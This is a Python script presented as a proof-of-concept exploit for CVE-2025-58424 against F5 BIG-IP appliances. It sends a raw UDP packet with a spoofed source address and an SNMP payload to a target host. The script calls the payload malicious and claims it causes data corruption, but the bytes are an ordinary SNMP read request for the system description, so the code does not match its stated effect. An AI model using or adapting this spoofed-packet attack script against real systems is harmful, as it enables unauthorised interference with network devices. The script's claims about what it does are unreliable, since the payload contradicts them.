# CVE-2025-58424 PoC - F5 BIG-IP Data Corruption via Undisclosed Traffic
# This PoC demonstrates the concept of exploiting protocols without message integrity protection
# on F5 BIG-IP systems to cause data corruption and unauthorized data modification.
import socket
import struct
import hashlib
TARGET_HOST = "192.168.1.100" # Replace with target BIG-IP host
TARGET_PORT = 161 # Example: SNMP port (protocol without integrity protection)
def craft_malicious_packet(payload):
"""
Craft a network packet targeting a protocol without message integrity protection.
The packet is designed to be processed by BIG-IP without integrity verification.
"""
# Build a raw UDP packet targeting an integrity-less protocol
# Protocol examples: SNMP, TFTP, DNS (in certain configurations)
packet = b""
# UDP Header (simplified)
src_port = 44444
dst_port = TARGET_PORT
length = 8 + len(payload)
checksum = 0
udp_header = struct.pack("!HHHH", src_port, dst_port, length, checksum)
packet = udp_header + payload
return packet
def exploit():
"""
Send crafted packets to BIG-IP to trigger data corruption.
The attack exploits the lack of message integrity protection.
"""
print(f"[*] Targeting BIG-IP at {TARGET_HOST}:{TARGET_PORT}")
# Craft malicious payload - modify protocol data without integrity check
# This simulates data modification in protocols without HMAC/MAC protection
malicious_payload = b"\x30\x29\x02\x01\x00\x04\x06public\xa0\x1c\x02\x04\x00\x00\x00\x01\x02\x01\x00\x02\x01\x00\x30\x0e\x30\x0c\x06\x08\x2b\x06\x01\x02\x01\x01\x01\x00\x05\x00"
packet = craft_malicious_packet(malicious_payload)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# Build IP header
ip_header = struct.pack("!BBHHHBBH4s4s",
0x45, 0, # Version, IHL, TOS
20 + len(packet), # Total length
0, 0, # ID, Flags/Fragment
64, 17, # TTL, Protocol (UDP)
0, # Checksum
socket.inet_aton("10.0.0.1"), # Source IP
socket.inet_aton(TARGET_HOST) # Dest IP
)
full_packet = ip_header + packet
sock.sendto(full_packet, (TARGET_HOST, 0))
print("[+] Malicious packet sent successfully")
print("[!] BIG-IP may process the modified data without integrity verification")
except PermissionError:
print("[-] Permission denied. Run as root/admin for raw sockets.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
exploit()